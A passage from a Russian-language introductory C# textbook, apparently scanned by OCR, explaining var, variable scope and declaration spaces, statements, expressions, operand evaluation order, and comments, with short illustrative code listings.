такие виды деятельности, как отладка, рефакторинг и модификация функциональности. Потому любое облегчение этой работы стоит тех, откровенно говоря, ми- нимальных затрат времени, необходимых для явной записи имени типа. Код, в котором повсеместно используется ключевое слово var, может существенно замедлить вас, поскольку для его понима- ния приходится определять, к какому типу в действительности от- носятся переменные. И хотя компилятор избавит вас от некоторой части работы при написании кода, эта экономия окажется быстро перекрыта теми дополнительными усилиями на обдумывание, ко- торые вам потребуется прикладывать каждый раз, когда будет не- обходимо вернуться и еще раз взглянуть на код. Таким образом, если вы не относитесь к числу разработчиков, всегда пишущих только новый код, и подчищать за вами приходится другим, фило- софия «var повсюду» несет в себе мало поводов для того, чтобы ее рекомендовать. 60
Основы программирования на C# Несмотря на все сказанное, все же существуют ситуации, где я буду использовать ключевое слово уагТОдну из таких ситуаций представ- ляет код, в котором явное указание типа означало бы запись име- ни типа дважды. Например, при инициализации переменной новым объектом можно было бы написать следующее: List<int> numbers = new List<int>(); В данном случае использование ключевого слова var не несет в себе недостатков, поскольку имя типа указывается тут же в инициализа- торе, и, таким образом, при чтении неявной версии не потребует- ся прикладывать никаких умственных усилий для определения типа данных: var numbers = new List<int>(); Существуют сходные примеры, связанные с использованием приве- дения типов и обобщенных методов; принцип здесь состоит в том, что если имя типа явно указывается в объявлении переменной, то можно использовать ключевое слово var, чтобы не записывать имя типа дважды. Другой случай, когда я использую ключевое слово var, — это когда оно является необходимым. Как мы увидим в последующих главах, C# поддерживает анонимные типы, и, как подразумеваёт само на- звание, при использовании такого типа в действительности невоз- можно указать его имя. В подобной ситуации вы можете быть вы- нуждены поставить ключевое слово var (на самом деле оно было введено в C# только при добавлении поддержки анонимных типов). И последнее, что нужно знать об объявлениях переменных. Вы мо- жете объявить и опционально инициализировать несколько перемен- ных в одной строке. Если вам требуется несколько переменных одного типа, такой подход позволит вам сделать код менее громоздким. Пример объявления в одной строке трех переменных одного типа приведен в ли- стинге 2.8. Листинг 2.8. Объявление нескольких переменных в одной строке double а = 1, b = 2.5, с = -3; Подводя итог вышесказанному, можно сказать, что переменная хра- нит некоторую порцию информации определенного типа, и компилятор не дает нам поместить в эту переменную данные несовместимого типа. Конечно, переменные полезны лишь потому, что мы можем обратиться к ним в своем коде позже. Листинг 2.9 начинается с объявления пере- 61
Глава 2 менных, которые мы видели в предыдущих примерах; далее значения этих переменных используются для инициализации еще пары перемен- ных, после чего выполняется вывод результатов на экран. Листинг 2.9. Использование переменных string parti = "главный вопрос"; string part2 = "чего-либо"; int theAnswer = 42; part2 = "жизни, Вселенной и всего такого"; string questionText = "Каким является ответ на " + parti + " " + part2 + »»9 ” • string answerText = "Ответом на " + parti + " " + part2 + " является: " + theAnswer; Console.WriteLine(questionText); Console.WriteLine(answerText); Кстати, данный код полагается на тот факт, что если в C# оператор + используется со строками, смысл его меняется. При «прибавлении» одной строки к другой выполняется их конкатенация. При «прибав- лении» числа в конец строки (как это делает инициализатор пере- менной answerText) C# генерирует код, который сперва преобразует число в строку. Таким образом, код листинга 2.9 выдаст следующий ре- зультат: Каким является ответ на главный вопрос жизни, Вселенной и всего такого? Ответом’на главный вопрос жизни, Вселенной и всего такого является: 42 “ В этой книге текст, длина которого превышает размер строки, и*!’ 4 « переносится на другую строку. Если ваше окно консоли будет —4 ОУ настроено на другую ширину, то результаты выполнения этих примеров будут выглядеть иначе. В тот момент, когда вы используете переменную, она содержит по- следнее присвоенное ей значение. Если попытаться использовать пере- менную до присвоения ей значения, как это делает код в листинге 2.10, компилятор C# выдаст сообщение об ошибке. Листинг 2.10. Ошибка: использование переменной до присвоения ей значения int willNotWork; Console.WriteLine(willNotWork); 62
Основы программирования на C# При компиляции этого кода будет выдано следующее сообщение об ошибке для второй строки: error CS0165: Use of unassigned local variable 'willNotWork' (error CS0165: Использование локальной переменной "willNotWork", которой не присвоено значение) Компилятор придерживается немного пессимистичной системы (он называет ее правилами четкого присваивания) в определении того, обладает ли уже переменная каким-либо значением или нет. Считает- ся невозможным создать алгоритм, который мог бы точно установить это в любой ситуации*. Поскольку компилятору приходится прини- мать повышенные меры предосторожности, в некоторых ситуациях он выдает сообщение об ошибке, даже несмотря на то что к моменту выполнения проблемного кода переменная уже обладает значением. Решение состоит в том, чтобы написать инициализатор, чтобы пере- менная всегда содержала некоторое значение. В качестве неиспользуе- мого начального значения обычно берется 0 для числовых переменных и false для булевых. В главе 3 я представлю ссылочные типы, и, как и подразумевает само название, переменная такого типа может содер- жать ссылку на экземпляр типа. При необходимости проинициали- зировать такую переменную еще до того, как у вас будет объект для ссылки, можно использовать специальное значение null, обозначаю- щее ссылку на ничто. Правила четкого присваивания устанавливают, в каких частях ва- шего кода компилятор сочтет переменную содержащей допустимое зна- чение и, соответственно, позволит выполнить чтение из нее. На запись значения в переменную накладывается меньше ограничений, однако, конечно, доступ к любой переменной возможен только из определенных частей кода. Давайте рассмотрим эти правила подробнее. Область видимости Область видимости переменной — это фрагмент кода, в котором можно обратиться к данной переменной по ее имени. Областью видимо- сти обладают не только локальные переменные, но и методы, свойства, типы и фактически все, у чего есть имя. Это требует несколько более • Подробности см. в работах Алана Тьюринга по теории вычислений. Прекрасное разъяснение вы найдете в книге Чарльза Петцольда. The Annotated Turing. 63
Глава 2 широкого определения области видимости: под ней понимается об- ласть, в которой можно обратиться к сущности по ее имени без необхо- димости в дополнительной квалификации. Когда я записываю Console. WriteLine, я обращаюсь к методу по его имени (WriteLine), но при этом мне приходится квалифицировать его именем класса (Console), по- скольку метод находится за пределами области видимости. Однако в случае локальной переменной действие области видимости является абсолютным: переменная либо доступна без квалификации, либо вовсе не доступна. Вообще говоря, область видимости локальной переменной начина- ется с объявления этой переменной и заканчивается в конце вмещающе- го ее блока. Блок — область кода, ограниченная парой фигурных скобок ({}). Тело метода представляет собой блок; таким образом, переменная, определенная в одном методе, не является видимой в другом методе, по- скольку там она находится за пределами области видимости. Если по- пытаться откомпилировать код листинга 2.11, будет выдано следующее сообщение об ошибке: The name 'thisWillNotWork' does not exist in the current context (Имя "thisWillNotWork" отсутствует в текущем контексте) Листинг 2.11. Ошибка: выход за пределы области видимости static void SomeMethodO { int thisWillNotWork = 42; I static void AnotherMethodO { Console.WriteLine(thisWillNotWork); I Методы нередко содержат вложенные блоки, в частности, при ис- пользовании циклов и конструкций управления потоком, которые рас- сматриваются далее в этой главе. В той точке, где начинается вложен- ный блок, все, что находилось в области видимости во внешнем блоке, продолжает оставаться в области видимости и внутри вложенного бло- ка. В листинге 2.12 объявляется переменная с именем someValue, а затем, как часть инструкции if, вводится вложенный блок. Код внутри блока способен обращаться к этой переменной, объявленной во вмещающем блоке. 64
Основы программирования на C# Листинг 2.12. Использование внутри блока переменной, объявленной за пределами блока _ int someValue = GetValueO; if (someValue > 100) Console.WriteLine(someValue); } Обратное не верно. Если объявить переменную во вложенном блоке, ее область видимости не будет выходить за пределы этого блока. Таким образом, код листинга 2.13 не сможет откомпилироваться, поскольку переменная willNotWork находится в области видимости только внутри вложенного блока. Последняя строка кода вызовет ошибку компилято- ра, поскольку она пытается обратиться к этой переменной за пределами блока. Листинг 2.13. Ошибка: попытка использовать переменную за пределами области видимости int someValue = GetValueO; if (someValue > 100) * { int willNotWork = someValue - 100; } Console.WriteLine(willNotWork) ; Все это выглядит достаточно просто, однако ситуация становится существенно сложнее, когда дело доходит до потенциальных конфлик- тов имен. Здесь поведение C# иногда может вызвать удивление. Неоднозначность имен переменных Давайте рассмотрим код листинга 2.14. В данном случае внутри вло- женного блока объявляется переменная с именем anotherValue. Как нам известно, такая переменная находится в области видимости только до конца вложенного блока. После того как блок заканчивается, мы пыта- емся объявить другую переменную с тем же именем. Листинг 2.14. Ошибка: неожиданный конфликт имен int someValue = GetValueO; if (someValue > 100) { 65
Глава 2 int anotherValue = someValue - 100; Console.WriteLine(anotherValue); I int anotherValue = 123; Это приводит к ошибке компилятора в последней строке: error CS0136: A local variable named 'anotherValue' cannot be declared in thia scope because it would give a different meaning to 'anotherValue', which is already used in a 'child' scope to denote something else (error CS0136: Невозможно объявить локальную переменную с именем ''anotherValue'' в этой области действия, так как она придаст другое значение "anotherValue", которая уже используется в области действия "дочерний" для обозначения чего-то другого) Это кажется странным. В последней строке якобы конфликтующая первая переменная находится за пределами области видимости, посколь- ку здесь мы уже выходим за пределы вложенного блока, в котором она была объявлена. К тому же, вторая переменная находится за пределами области видимости внутри вложенного блока, поскольку ее объявление расположено после этого блока. Области видимости не накладываются, но, несмотря на это, мы каким-то образом нарушили правила C# для предотвращения конфликтов имен. Чтобы понять, в чем здесь ошибка, давайте сначала рассмотрим более простой пример. Для предотвращения неоднозначности C# не допускает выполне- ние кода, в котором одно имя может ссылаться на несколько сущностей. При этом ставится целью избежать проблем, пример которых показан в листинге 2.15. Здесь объявляется переменная с именем errorcount, и по мере продвижения вперед код начинает ее модифицировать, од- нако в определенном месте вложенного блока вводится новая перемен- ная с тем же именем. Существование языка, в котором такое возможно, вполне допустимо — в таком языке могло бы быть правило, устанавли- вающее, что при наличии в области видимости нескольких элементов с одинаковым именем нужно выбрать элемент, объявление которого расположено последним. Листинг 2.15. Ошибка: скрытие переменной int errorCount = 0; if (probleml) { errorCount += 1; • - ' 66
Основы программирования на C# if (problem2) I errorCount += 1; } //В реальной программе до следующих далее строк // могло бы располагаться достаточно много кода, int errorCount = GetErrorsO; // Ошибка компилятора if (ргоЫешЗ) { errorCount += 1; } На практике для компилятора C# такой код недопустим, посколь- ку он может легко ввести в заблуждение. Поскольку это лишь пример, приводимый здесь метод искусственно короткий, и причину проблемы можно легко заметить. Но если бы кода было бы немного больше, мы могли бы очень легко упустить из виду вложенное объявление перемен- ной, в результате чего не понимали бы, что к концу метода переменная errorCount уже ссылается на что-то другое по сравнению с его началом. Во избежание неправильного понимания C# просто не допускает напи- сание такого кода. Но почему же отказывается компилироваться код листинга 2.14, ведь области видимости двух переменных в этом примере не накладыва- ются? Как оказывается, правило, которое отклоняет код листинга 2.15, основывается не на областях видимости. Оно действует на основе не- сколько отличной концепции, носящей название «область объявления». Область объявления — это фрагмент кода, в котором одно имя не должно ссылаться на две разные сущности. Каждый метод определяет область объявления для переменных. Вложенные блоки вводят свои области объявления; при этом для вложенной области объявления является не- допустимым объявлять переменную с именем, совпадающим с именем переменной в родительской области объявления. И именно это правило мы нарушили — внешняя область объявления в листинге 2.15 содержит переменную errorCount, а область объявления вложенного блока пыта- ется ввести еще одну с таким же именем. Если это кажется вам немного скучным, возможно, вам будет полез- но знать, с какой целью в C# используется отдельный набор правил для конфликтов имен вместо правил, основанных на областях видимости. Мотивом для введения правил области объявления является то, что 67
Глава 2 обычно не должно играть роли, в каком месте располагается объявление переменной. Если вам потребуется переместить все объявления пере- менных в блоке в начало этого блока — а стандарты программирования некоторых организаций предписывают именно такое расположение, — то благодаря такому правилу это не изменит смысл кода. Конечно, по- добное не было бы возможно, если б код листинга 2.15 считался допу- стимым. И это объясняет, почему некорректен код листинга 2.14. Хотя области видимости в примере не накладываются, наложение все же име- ло бы место, если б мы переместили все объявления переменных в на- чало содержащих их блоков. Экземпляры локальных переменных Переменная представляет собой один из элементов исходного кода, поэтому конкретная переменная обладает уникальной идентичностью: она объявляется в исходном коде лишь однажды и в единственном чет- ко определенном месте выходит за пределы области видимости. Одна- ко это не означает, что ей соответствует одно место хранения в памяти. В случае рекурсии или многопоточной обработки несколько вызовов одного метода могут выполняться одновременно. При каждом вызове метода он получает отдельный набор ячеек па- мяти дляэхранения значений, соответствующих локальным переменным вызова. Благодаря этому в многопоточном коде потоки не будут мешать друг другу при обработке переменных. Подобным же образом в рекур- сивном коде каждый вложенный вызов получает свой набор локальных переменных, которые не будут оказывать влияния на переменные вы- зывающих методов. Следует иметь в виду, что компилятор C# не дает никаких конкрет- ных гарантий в отношении того, ъ каком месте памяти будут распола- гаться локальные переменные. Они могут размещаться в стеке, но это не является обязательным. Когда в последующих главах мы дойдем до рассмотрения анонимных методов, вы увидите, что иногда требуется, чтобы срок жизни локальных переменных превышал срок жизни объ- явившего их метода, поскольку они остаются в области видимости для вложенных методов, которые будут запускаться как обратные вызовы в дальнейшем. Прежде чем мы двинемся дальше, также следует обратить внима- ние на то, что, совершенно так же, как переменные не являются един- ственными сущностями, которые обладают областью видимости, они не 68
Основы программирования на C# единственные, к чему применяются правила области объявления. Пра- вила видимости и уникальности имени относятся и к другим элементам языка, которые мы рассмотрим позже, — в частности, классы, методы и свойства. Инструкции и выражения Переменные позволяют нам определять данные, с которыми мы бу- дем работать, но для того чтобы что-либо сделать с этими переменны- ми, необходимо иметь код. Это означает написание инструкций и выра- жений. Инструкции При написании метода в C# мы записываем последовательность ин- струкций. Говоря неформальным языком, инструкции метода описывают, какие действия должен выполнить метод. Каждая строка в листинге 2.16 содержит инструкцию. У вас может возникнуть искушение рассматри- вать инструкцию, как указание выполнить одно действие (например, про- инициализировать переменную или вызвать метод). Или же вы можете избрать более лексический подход, считая инструкцией все, что заканчи- вается точкой с запятой. Однако оба описания являются упрощенными, даже несмотря на то что в данном конкретном случае они верны. Листинг 2.16. Несколько инструкций int а = 19; int Ь = 23; int с; с = а + Ь; Console.WriteLine (с) ; C# различает много различных видов инструкций. Первые три стро- ки в листинге 2.16 содержат инструкции объявления, объявляющие и оп- ционально инициализирующие переменные. Четвертая и пятая строки содержат инструкции выражений (и чуть ниже мы перейдем к рассмо- трению выражений). Однако некоторые виды инструкций более струк- турированы по сравнению с приведенными в этом примере. При написании циклов мы используем инструкции итерации. Когда мы применяем описанные далее в этой главе механизмы if или select 69
Глава 2 для выбора одного действия из нескольких возможных, мы имеем дело с инструкциями выбора. Всего спецификация C# различает 14 категорий инструкций. Большинство из них можно грубо разделить на те, которые описывают, что должен сделать код, — и те, которые (как, например, ци- клы или условные инструкции) описывают, как код должен решить, что следует сделать. Инструкции второго вида обычно содержат одну или более встроенных инструкций, описывающих действия, которые необ- ходимо выполнить в цикле или при выполнении условия if. Существует тем не менее один особый случай. Блок тоже является видом инструкции. Это делает более полезными такие инструкции, как циклы, поскольку они выполняют итерации только по одной встроен- ной инструкции. В качестве нее может выступать блок, и, так как блок представляет собой последовательность инструкций (ограниченную фигурными скобками), это делает возможным размещение в цикле больше одной инструкции. Таким образом становится ясно, почему являются неверными две изложенные ранее упрощенные точки зрения — «инструкции — это дей- ствия» и ’«инструкции — это то, что заканчивается точкой с запятой». Сравните код в лйстингах 2.16 и 2.17. И тот, и другой код делает одно и то же, поскольку в обоих случаях мы предписываем выполнение оди- наковых действий. Однако листинг 2.17 содержит на одну инструкцию больше. Первые две являются такими же, как в предыдущем примере, однако за ними следует третья инструкция, блок, который содержит оставшиеся три инструкции из листинга 2.16. Дополнительная инструк- ция — блок — не заканчивается точкой с запятой, равно как и не выпол- няет никаких действий. Хотя введение такого вложенного блока может показаться бессмысленным, в ряде случаев это может быть полезным для предотвращения неоднозначности имен. Следовательно, некоторые инструкции являются структурными, и не осуществляют никаких дей- ствий на этапе выполнения. Листинг 2.17. Блок int а = 19; int Ь = 23; { int с; с = а + Ь; Console.WriteLine(с);
Основы программирования на C# Ваш код будет содержать инструкции разных типов, и рано или поздно в нем неизбежно появится как минимум пара инструкций выра- жений. Они представляют собой просто приемлемое выражение, за ко- торым следует точка с запятой. А что такое «приемлемое выражение»? И что, собственно говоря, представляет собой выражение? Давайте от- ветим на этот вопрос, прежде чем вернуться к тому, что является допу- стимым выражением инструкции. Выражения Официальное определение выражения в C# звучит-довольно скуч- но: «последовательность операторов и операндов». Следует признать, что именно такие формальные описания, как правило, и содержат спе- цификации языков, однако помимо них спецификация C# предостав- ляет легко читаемые объяснения в вольной форме более строго сформу- лированных идей (например, она описывает инструкции как средства для «выражения действий программы», а уже затем определяет их ме- нее доступным, но более технически точным языком). В начале этого абзаца я процитировал формальное определение выражения; возможно, во введении будет больше пользы от неформального объяснения? Оно гласит, что выражения «составляются из операндов и операторов». Хотя это определение, несомненно, является менее строгим, понять его не- намного легче. Проблема заключается в том, что существует несколько типов выражений, каждый из которых предназначен для выполнения своей задачи; поэтому невозможно дать единое, общее неформальное описание. Очень соблазнительно охарактеризовать выражение как код, ре- зультатом выполнения которого является значение. Хотя это не всегда верно, под такое определение подпадает большинство выражений, что вы будете писать в своем коде; так что пока я сосредоточусь на нем, а на исключениях остановлюсь позднее. Простейшим видом выражений со значениями являются литера- лы, в которых мы просто записываем нужное нам значение, такое как "Hello, world!” или 2. В качестве выражения можно также использо- вать имя переменной. Выражения, кроме того, могут включать операто- ры, предписывающие выполнение различных вычислений. Операторы обладают фиксированным количеством входных данных, или операн- дов. Некоторые операторы принимают только один операнд. Например, можно выполнить отрицание числа, поставив перед ним знак «минус». 71
Глава 2 Другие операторы принимают два операнда: + позволяет составить вы- ражение, складывающее между собой результаты двух операндов с обе- их сторон от этого символа. Некоторые символы выполняют разные функции в зависи- 4*мости’от контекста. Знак «минус» используется не только В?’'для отрицания. При его размещении между двумя выраже- ниями он выступает в роли двухоперандного оператора вы- читания. В общем случае, операнды тоже являются выражениями. Таким об- разом, если мы запишем 2 + 2, то получим выражение, содержащее еще два: два литерала ’ 2' с обеих сторон от символа +. Это означает, что мы можем записывать выражения любого уровня сложности, вкладывая одни в другие. В листинге 2.18 такая возможность используется для вы- числения квадратичной формулы (что представляет собой стандартный способ решения квадратных уравнений). Листинг 2.18. Выражения внутри выражений double а = 1, b = 2.5, с = -3; double х = (-b + Math.Sqrtfb * b - 4 * а * с)) / (2 * а); Console.WriteLine(х); Взгляните ца инструкцию объявления во второй строке. В целом структура выражения инициализатора здесь представляет собой опе- рацию деления. Однако два операнда оператора деления тоже являют- ся выражениями. Левый операнд — выражение в скобках, сообщающее компилятору, что я хочу, чтобы все выражение (-b + Math.Sqrtfb * b - 4 * а * с)) было первым операндом. Это подвыражение содержит операцию сложения, левый операнд которой — выражение отрицания непеременной Ь в качестве единственного операнда. Правая сторона операции сложения вычисляет квадратный корень из другого, более сложного выражения. И, наконец, правым операндом операции деле- ния является еще одно выражение в скобках, содержащее операцию умножения. Рисунок 2.1 иллюстрирует полную структуру этого выражения. Важ- ная деталь последнего примера — то, что одним из видов выражений яв- ляются вызовы методов. Используемый в листинге 2.18 метод Math. Sqrt представляет собой функцию библиотеки классов .NET Framework, вы- 72 ~
Основы программирования на C# числяющей квадратный корень своего входного значения и возвращаю- щей результат. Что, возможно, еще более удивительно, так это то, что вызовы методов, которые не возвращают значения, таких, например, как Console. WriteLine, тоже формально являются выражениями. Существу- ет также ряд других конструкций, не возвращающих значения, но тем не менее считающихся выражениями, включая ссылки на тип (напри- мер, Console в вызове метода Console.WriteLine) или на пространство имен. Преимуществом подобных конструкций является использова- ние набора универсальных правил (например, видимости, разрешения имен и т. д.). Однако все выражения, которые не возвращают значение, могут применяться только в определенных особых случаях. (Такое вы- ражение, например, нельзя использовать в качестве операнда другого выражения.) Таким образом, хотя формально неверно определять выра- жение как фрагмент кода, который возвращает значение, именно такие выражения мы, как правило, используем в своем коде для описания не- обходимых вычислений. Рис. 2.1. Структура выражения 73
Глава 2 Теперь уже можно вернуться к вопросу о том, что разрешено поме- щать в инструкцию выражения. Грубо говоря, такая инструкция должна что-то делать; она не может просто вычислить значение. Следователь- но, хотя 2 + 2 является допустимым выражением, вы получите ошибку, если попытаетесь преобразовать его в инструкцию выражения, поставив в конце точку с запятой. Это выражение вычисляет некоторый результат, но ничего с ним не делает. Вы можете быть более точным, используя сле- дующие виды инструкций выражений: вызов метода, присваивание, ин- кремент, декремент и создание нового объекта. Инкремент и декремент будут рассмотрены далее в этой главе, а об объектах я расскажу в после- дующих главах; а сейчас мы рассмотрим вызов метода и присваивание. Таким образом, вызов метода является допустимой инструкцией вы- ражения. Хотя эта инструкция может включать вложенные выражения других видов, в целом она должна представлять собой вызов метода. Не- которые допустимые примеры демонстрирует листинг 2.19. Обратите внимание, что компилятор C# не проверяет, производит ли вызов метода в какой-либо мере продолжительный эффект — функция Math. Sqrt явля- ется чистой функцией в том смысле, что она не производит никаких по- бочных действий помимо возвращения значения на основе входных дан- ных. Таким образом, вызов этой функции без выполнения действий над результатом ни к чему не приводит — она представляет собой действие не более, чем выражение 2 + 2. Однако с точки зрения компилятора C# любоц вызов метода является допустимой инструкцией выражения. Листинг 2.19. Использование вызовов методов в качестве инструкций Console.WriteLine("Hello, world!"); Console.WriteLine(12 + 30); Console.ReadKey() ; Math.Sqrt(4); To, что C# запрещает использовать в качестве инструкции выраже- ние сложения, но разрешает вызов метода Math. Sqrt, кажется непосле- довательным. Оба этих выражения выполняют вычисления, после чего отбрасывают результат. Не было бы более правильным, если б в каче- стве инструкций выражений в C# допускалось использовать только вы- зовы методов, которые ничего не возвращают? Это сделало бы недопу- стимой последнюю строку в листинге 2.19, что кажется хорошей идеей, поскольку такой код не делает ничего полезного. Однако в некоторых случаях бывает необходимо проигнорировать возвращаемое значение. Например, в листинге 2.19 вызывается метод Console.ReadKeyl), ожи- 74
Основы программирования на C# дающий нажатия клавиши и возвращающий значение, указывающее, какая клавиша была нажата. Если поведение моей программы окажет- ся зависимым от того, какую конкретную клавишу нажал пользователь, мне потребуется проверить возвращаемое методом значение, но если нужно будет просто дождаться нажатия любой клавиши, возвращаемое значение я смело смогу проигнорировать. Это оказалось бы невозможно, если б в качестве инструкций выражений не допускалось использовать методы, возвращающие значение. Поскольку компилятор не знает, вы- зовы каких методов будут бессмысленными в качестве инструкций вы- ражений по причине отсутствия побочных эффектов (как у Math.Sqrt), а каких — оправданными (как в случае с Console. ReadKey), он допускает использование любых методов. Чтобы из выражения получилась допустимая инструкция выраже- ния, недостаточно лишь того, чтобы там содержался вызов метода. Ли- стинг 2.20 демонстрирует два выражения, в которых выполняется вызов метода, после чего этот вызов используется как часть выражения кор- ректными инструкциями выражений и вызовут ошибку компилятора. Листинг 2.20. Ошибки: выражения, не допустимые в качестве инструкций ' Console.ReadKey() .KeyChar + Math.Sqrt(4) + 1; Ранее я сказал, что один из видов выражений, которые допускается использовать в качестве инструкции, — присваивание. Хотя это и неоче- видно, но оно действительно является таковым и, кроме того, возвраща- ет значение: результатом такого выражения становится присваиваемое переменной значение. Это означает допустимость написания кода, ана- логичного представленному в листинге 2.21. Во второй строке здесь вы- ражение присваивания используется как аргумент для вызова метода, выводящего на консоль значение этого выражения. Оба первых вызова метода WriteLine выводят значение 123. Листинг 2.21. Присваивание является выражением int number; Console. WriteLine (number = 123); Console.WriteLine (number) ; int x, y; x = у = 0; Console.WriteLine (x) ; Console.WriteLine (y); 75
Глава 2 Во второй части примера тот факт, что присваивание является вы- ражением, используется, чтобы присвоить одно значение двум перемен- ным за один шаг — здесь значение выражения у = 0 (равное нулю) при- сваивается переменной х. Это показывает, что выражение может не только возвращать зна: чение, но и обладать некоторым побочным эффектом. Как мы только что видели, присваивание является выражением и, конечно, обладает эффектом изменения содержимого переменной. Вызовы методов тоже представляют собой выражения, и хотя вы можете написать чистые функции, что, подобно методу Math. Sqrt, не будут делать ничего помимо вычисления результата на основе входных данных, многие методы вы- полняют некоторые действия с продолжительным эффектом, такие как вывод данных на консоль, обновление базы данных или запуск ракеты. Это означает, что для нас может играть существенную роль порядок вы- числения операндов выражения. Структура выражения накладывает некоторые ограничения на поря- док выполнения операторами своей работы. Например, можно предпи- сать тот или иной порядок выполнения с помощью круглых скобок. Вы- ражение 10 + (8/2) обладает значением 14, а выражение (10 + 8) /2 обладает значением 9, несмотря на то что оба они содержат в точности те же литеральные операнды и арифметические операторы. Круглые скобки здесь определяют, что выполняется раньше: деление или вычи- тание*. Однако это все же отдельный вопрос по отношению к порядку вы- числения операндов. Для таких простых выражений он не играет роли, поскольку я использовал литералы, и в действительности невозможно определить, когда они вычисляются. Но что можно сказать о выраже- нии, операнды которого выполняют вызов метода? Пример такого кода приведен в листинге 2.22. Листинг 2.22. Порядок вычисления операндов class Program { static int X(string label, int i) * В отсутствие круглых скобок C# руководствуется правилами приоритета, опре- деляющими порядок вычисления операторов. Более детальное (и не очень интересное) описание этих правил вы найдете в спецификации С#, однако что касается этого случая, то деление обладает более высоким приоритетом по сравнению со сложением, и когда нет скобок, данное выражение имеет значение 14. 76
Основы программирования на C# { Console.Write(label); return i; } static void Main(string[] args) { Console.WriteLine(X("a", 1) + X("b", 1) + X(”c", 1) + X("d”, 1)); Console.WriteLine() ; Console.WriteLine( X("a", 1) + X("b", (X("cn, 1) + X(”d”, 1) + X("e", 1))) + X("f", 1)); } } В этом примере определяется метод X, который принимают два ар- гумента. Метод выводит первый аргумент и просто возвращает второй. В дальнейшем я использовал данный метод в паре выражений, что по- зволяет нам увидеть, в какой именно момент выполняется вычисление операндов, вызывающих метод X. Некоторые языки не определяют этот порядок, делая поведение программы непредсказуемым, однако C# специфицирует порядок выполнения в такой ситуации. Правило гла- сит, что внутри любого выражения операнды вычисляются в том по- рядке, в каком они следуют в исходном коде (и слева направо, если они находятся в одной строке). Так, в случае первого вызова метода Console. WriteLine в листинге 2.22 мы видим, что он выводит abcd4. Вложение выражений немного усложняет ситуацию, хотя то же правило действу- ет и здесь. В последнем вызове метода Console.WriteLine выполняется сложение результатов трех вызовов метода X; однако при этом второй вызов метода X принимает в качестве аргумента выражение, которое складывает результаты еще трех вызовов метода X. Начав со сложения верхнего уровня, программа вычислит его первый операнд, X ("а", 1). Затем она начнет вычисление второго операнда, представляющего собой упомянутое выше выражение вызова метода. Для этого подвы- ражения действует то же правило: его операнды — в данном случае, аргументы метода — вычисляются слева направо. Первым операндом является константа ”Ь", вторым — вложенное выражение, содержащее три дополнительных вызова метода X, которые также вычисляются сле- ва направо. Выполнив вычисление этих вызовов, программа сможет за- вершить вызов метода X, для которого такой результат будет вторым 77
Глава 2 операндом, — вызов с первым аргументом ”Ь”. Сделав это, программа продолжит движение слева направо в вычислении сложения верхнего уровня, перейдя к его последнему аргументу. В конечном итоге она вы- ведет acdebf 5. Если взглянуть на выражение в целом, можно заметить, что вызовы методов не были вычислены в том порядке, в каком они записаны, однако это произошло из-за того, что они находились на раз- ном уровне вложенности. Если взять в отдельности любое единичное выражение, то оно вычисляло свои операнды слева направо, и вложен- ный порядок наблюдается лишь потому, что эти операнды тоже явля- ются выражениями. Комментарии и пробелы Большинство языков программирования позволяет включать в ис- ходные файлы текст, игнорируемый компилятором, и C# в этом отно- шении не является исключением. Как и большинство языков семейства С, C# поддерживает два стиля комментариев. При использовании одно- строчных комментариев, как показывает листинг 2.23, в строке записы- ваются два символа /, и компилятор игнорирует все содержимое строки от этого места до ее конца. Листинг 2.23. Однострочные комментарии Console.WriteLine("Выводим"); // Этот текст будет проигнорирован, но код Console.WriteLine("что-либо"); // слева по-прежнему компилируется, как рбычно. C# также поддерживает ограниченные комментарии. Они начина- ются с последовательности символов /*, и компилятор игнорирует все последующее содержимое до первой встреченной далее последователь- ности символов */. Это может быть полезным, если вы не хотите, чтобы комментарий доходил до самого конца строки, что иллюстрирует пер- вая строка листинга 2.24. Данный пример также показывает, что ограни- ченный комментарий может занимать несколько строк. Листинг 2.24. Ограниченные комментарии Console.WriteLine("Это будет выполнено"); /* Этот комментарий включает Console.WriteLine("А это не будет"); * не только текст справа, Console.WriteLine("И это не будет"); /* но и текст слева, Console.WriteLine("И это не будет"); * за исключением первой Console.WriteLine("Это также будет выполнено"); /* и последней строк. */ 78
Основы программирования на C# При использовании ограниченных комментариев следует остере- гаться одной небольшой проблемы; она может произойти, даже если комментарий находится внутри одной строки, но гораздо чаще случает- ся при использовании многострочных комментариев. Листинг 2.25 демонстрирует проблему с комментарием, который на- чинается в середине первой строки, и заканчивается в конце четвертой строки. Листинг 2.25. Многострочные комментарии Console.WriteLine("Это будет выполнено"); /* Этот комментарий включает не Console.WriteLine("А это не будет"); * только текст справа, но и текст Console.WriteLine("И это не будет"); /* слева, за исключением первой и Console.WriteLine("И это не будет"); * последней строки. */ Console.WriteLine("Это также будет выполнено"); Обратите внимание, что последовательность символов /* встречает- ся в коде дважды. Когда эта последовательность находится внутри ком- ментария, она не производит никаких особых действий — комментарии не вкладываются друг в друга. Несмотря на то что мы видим здесь две последовательности /*, первая встреченная нами последовательность */ является достаточной для завершения комментария. Хотя иногда та- кое поведение может разочаровывать, но это норма для языков семей- ства С. В некоторых случаях полезно на время вывести фрагмент кода из действия, так, чтобы его можно было легко вернуть на место. Легким способом это сделать является преобразование кода в комментарий; и хотя может показаться очевидным, что в таком случае следует исполь- зовать ограниченный комментарий, это становится неудобным, если область, которую требуется закомментировать, уже содержит ограни- ченный комментарий. C# не поддерживает вложение таких коммента- риев - чтобы закомментировать всю эту область, потребуется добавить последовательность /* после закрывающей последовательности */ вну- треннего комментария. Потому с такой целью обычно используются однострочные комментарии. Закомментировать область кода для вас может среда раз- 4 • работки Visual Studio. Если выбрать несколько строк и нажать - 4 комбинацию клавиш Ctrl+K, а затем сразу же — Ctrl+C, то Visual Studio добавит символы //в начало каждой строки вы- 79
